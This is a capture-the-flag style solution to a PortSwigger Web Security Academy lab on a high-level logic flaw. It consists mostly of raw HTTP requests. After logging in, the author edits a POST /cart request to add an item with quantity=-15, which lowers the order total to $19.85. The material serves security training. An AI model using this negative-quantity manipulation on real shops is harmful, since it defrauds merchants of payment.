Port Swigger High level logic vulnerability
High-level logic vulnerability
Solution
Login to website, user: wiener
POST /login HTTP/2
Host: 0ab600400326168a84cbd7280015006e.web-security-academy.net
Cookie: session=UwOLzbaDxaC5g91sIh5yul2V9cqi1b6Q
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: https://0ab600400326168a84cbd7280015006e.web-security-academy.net
Referer: https://0ab600400326168a84cbd7280015006e.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
csrf=Cr0xf0fFFfdFlObBaQszN4cfmqQYFyN0&username=wiener&password=peter
---
GET /my-account?id=wiener HTTP/2
Host: 0ab600400326168a84cbd7280015006e.web-security-academy.net
Cookie: session=Z2dks15S49jpCabn2OmhypFmpvPUxtzm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0ab600400326168a84cbd7280015006e.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Add Lightweight "l33t" Leather Jacket to bucket
Buy: Lightweight "l33t" Leather Jacket
---
POST /cart HTTP/2
Host: 0ab600400326168a84cbd7280015006e.web-security-academy.net
Cookie: session=Z2dks15S49jpCabn2OmhypFmpvPUxtzm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: https://0ab600400326168a84cbd7280015006e.web-security-academy.net
Referer: https://0ab600400326168a84cbd7280015006e.web-security-academy.net/product?productId=1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
productId=1&redir=PRODUCT&quantity=1
Edit request
Buy: Sprout More Brain Power with quantity=-15
---
OLD request
POST /cart HTTP/2
Host: 0ab600400326168a84cbd7280015006e.web-security-academy.net
Cookie: session=Z2dks15S49jpCabn2OmhypFmpvPUxtzm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: https://0ab600400326168a84cbd7280015006e.web-security-academy.net
Referer: https://0ab600400326168a84cbd7280015006e.web-security-academy.net/product?productId=5
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
productId=5&redir=PRODUCT&quantity=1
---
LAST request
POST /cart HTTP/2
Host: 0ab600400326168a84cbd7280015006e.web-security-academy.net
Cookie: session=Z2dks15S49jpCabn2OmhypFmpvPUxtzm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: https://0ab600400326168a84cbd7280015006e.web-security-academy.net
Referer: https://0ab600400326168a84cbd7280015006e.web-security-academy.net/product?productId=1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
productId=1&redir=PRODUCT&quantity=-15
Place order
We pay only: $19.85
---
GET /cart HTTP/2
Host: 0ab600400326168a84cbd7280015006e.web-security-academy.net
Cookie: session=Z2dks15S49jpCabn2OmhypFmpvPUxtzm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0ab600400326168a84cbd7280015006e.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Solved